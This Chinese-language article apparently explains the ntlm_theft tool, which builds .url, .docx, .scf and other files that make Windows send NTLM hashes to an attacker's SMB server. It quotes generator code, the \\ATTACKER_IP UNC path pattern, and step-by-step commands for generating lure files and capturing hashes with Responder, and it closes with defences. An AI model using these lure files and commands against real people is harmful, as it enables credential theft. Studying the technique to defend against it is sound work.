ntlm_theft源代码解析:Python实现哈希窃取文件生成的核心原理
ntlm_theft源代码解析:Python实现哈希窃取文件生成的核心原理
【免费下载链接】ntlm_theftA tool for generating multiple types of NTLMv2 hash theft files by Jacob Wilkin (Greenwolf)项目地址: https://gitcode.com/gh_mirrors/nt/ntlm_theft
ntlm_theft是一款由Jacob Wilkin开发的Python工具,能够生成多种类型的NTLMv2哈希窃取文件。该工具通过构造特殊格式的文件诱导目标系统发起SMB连接,从而捕获NTLM哈希,是网络安全渗透测试中的实用工具。本文将从核心原理、代码架构和实战应用三个维度,深入解析ntlm_theft的实现机制。
一、NTLM哈希窃取的核心原理
NTLM(NT LAN Manager)是Windows系统常用的身份验证协议,其认证过程中会产生可用于中继或破解的哈希值。ntlm_theft的工作原理基于以下关键机制:
1.1 协议缺陷利用
Windows系统在处理某些文件类型时,会自动尝试访问指定的网络资源。例如:
- .url文件会读取
IconFile字段指定的UNC路径 - Office文档会加载外部模板或图片资源
- 媒体文件会尝试解析远程播放列表
这些行为会触发SMB认证过程,客户端会向攻击者控制的服务器发送NTLM哈希。
1.2 多载体攻击策略
工具支持18种不同文件类型的攻击向量,包括:
- 文档类:.docx(3种攻击方式)、.xlsx、.rtf、.pdf
- 媒体类:.m3u、.asx、.wax
- 系统类:.lnk、.scf、.url、.library-ms
每种文件类型通过特定字段构造UNC路径(\\ATTACKER_IP\resource),诱导目标系统主动发起认证请求。
NTLM哈希窃取攻击流程演示,左侧为工具生成的恶意文件,右侧为Responder捕获的哈希数据
二、代码架构与核心模块
ntlm_theft.py采用模块化设计,主要由参数解析、文件生成和模板处理三大模块组成。
2.1 参数解析模块
通过argparse实现灵活的命令行参数控制:
parser.add_argument('-g', '--generate', action='store', dest='generate', required=True, choices=set(("modern", "all", "scf", "url", ...)), help='Choose to generate all files or a specific filetype')支持生成"all"(全部文件)、"modern"(现代系统适用)或指定单一文件类型,满足不同场景需求。
2.2 文件生成核心函数
每种文件类型对应独立的生成函数,如create_docx_includepicture、create_xlsx_externalcell等。以URL文件生成为例:
def create_url_url(generate, server, filename): file = open(filename,'w') file.write('''[InternetShortcut] URL=file://''' + server + '''/leak/leak.html''') file.close()通过写入特定格式的内容,使系统在解析时触发SMB连接。
2.3 模板引擎机制
对于复杂文件类型(如.docx),工具采用模板替换技术:
- 从
templates/目录加载预定义的文件模板 - 替换模板中的占位IP地址(127.0.0.1)为攻击者服务器IP
- 打包生成最终文件
关键实现代码:
documentfilename = os.path.join(script_directory,"templates", "docx-includepicture-template") filedata = filedata.replace('127.0.0.1', server) shutil.make_archive(filename, 'zip', "docx-includepicture-template") os.rename(filename +".zip",filename)三、实战应用与效果验证
3.1 快速上手步骤
- 克隆仓库:
git clone https://gitcode.com/gh_mirrors/nt/ntlm_theft - 生成攻击文件:
python ntlm_theft.py --generate all --server 192.168.1.100 --filename test - 在目标系统打开生成的文件
- 使用Responder捕获哈希:
responder -I eth0
3.2 生成文件示例
工具会在当前目录创建以指定文件名命名的文件夹,包含所有生成的攻击文件:
工具生成的多种类型攻击文件,包括.url、.docx、.pdf等
3.3 现代系统兼容性
代码中特别标记了对现代Windows系统的支持情况:
if generate == "modern": print("Skipping SCF as it does not work on modern Windows") return对于已修复漏洞的文件类型(如.scf、.desktopini),在"modern"模式下会自动跳过。
四、防御与缓解措施
针对NTLM哈希窃取攻击,建议采取以下防御策略:
- 禁用NTLM认证,使用Kerberos
- 启用SMB签名
- 限制UNC路径访问
- 部署高级威胁防护解决方案
- 对可疑文件进行沙箱分析
总结
ntlm_theft通过巧妙利用Windows系统特性,实现了多种文件类型的NTLM哈希窃取功能。其模块化设计和模板机制使其具有良好的可扩展性,可轻松添加新的攻击向量。安全从业人员可通过研究该工具深入理解NTLM认证过程和防御方法,提升网络安全防护能力。工具源码可在项目根目录的ntlm_theft.py中查看完整实现。
【免费下载链接】ntlm_theftA tool for generating multiple types of NTLMv2 hash theft files by Jacob Wilkin (Greenwolf)项目地址: https://gitcode.com/gh_mirrors/nt/ntlm_theft
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
